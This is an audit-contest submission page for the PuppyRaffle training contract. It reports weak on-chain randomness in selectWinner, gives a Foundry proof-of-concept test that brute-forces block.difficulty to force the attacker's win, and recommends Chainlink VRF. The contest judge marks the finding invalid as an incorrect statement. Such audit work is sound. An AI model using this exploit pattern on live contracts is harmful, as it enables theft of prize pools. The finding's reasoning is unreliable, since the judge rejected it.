Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Weak randomness in selectWinner lets an attacker predict and force the winner

Root + Impact

Description

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "...");
require(players.length >= 4, "...");
@> uint256 winnerIndex = uint256(keccak256(abi.encodePacked(
msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
}

Risk

Likelihood: High — selectWinner has no access control, so the attacker chooses the block and computes the keccak256 result off-chain before calling. All inputs (msg.sender, block.timestamp, block.difficulty) are known at call time.

Impact: High — the attacker can guarantee they win the raffle, stealing the prize pool (80% of all entrance fees) from honest participants.

Proof of Concept

This test shows the attacker can force their own win. They enter the raffle,
then brute-force a block.difficulty value off-chain until the contract's
keccak256 formula resolves to their own index. They set that value, call
selectWinner(), and the contract confirms they won — receiving the 4 ETH prize
and the NFT. No randomness is involved; the outcome is chosen in advance.

function test_weak_randomness_attacker_wins() public {
address attacker = makeAddr("attacker");
address[] memory newPlayers = new address[](1);
newPlayers[0] = attacker;
puppyRaffle.enterRaffle{value: entranceFee}(newPlayers);
​
uint256 attackerIndex = puppyRaffle.getActivePlayerIndex(attacker);
vm.warp(block.timestamp + duration + 1);
​
uint256 numPlayers = 5; // 4 from setUp + attacker
uint256 winningDifficulty;
bool found;
​
// The RNG inputs are all known before the call, so the attacker can
// brute-force a block.difficulty value off-chain that makes them win.
for (uint256 d = 0; d < 100; d++) {
uint256 predictedIndex = uint256(
keccak256(abi.encodePacked(attacker, block.timestamp, d))
) % numPlayers;
​
if (predictedIndex == attackerIndex) {
winningDifficulty = d;
found = true;
break;
}
}
assertTrue(found);
​
vm.difficulty(winningDifficulty);
​
// selectWinner has no access control: anyone can trigger the draw.
vm.prank(attacker);
puppyRaffle.selectWinner();
​
assertEq(puppyRaffle.previousWinner(), attacker);
}

Recommended Mitigation

On-chain values cannot be a source of secure randomness; adding more of them
does not help. Use a verifiable randomness oracle such as Chainlink VRF, which
returns a random number with a cryptographic proof it was not manipulated.
Access control on selectWinner() is a complementary measure but does not fix
the randomness itself.

// Replace on-chain RNG with Chainlink VRF — see mitigation above
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!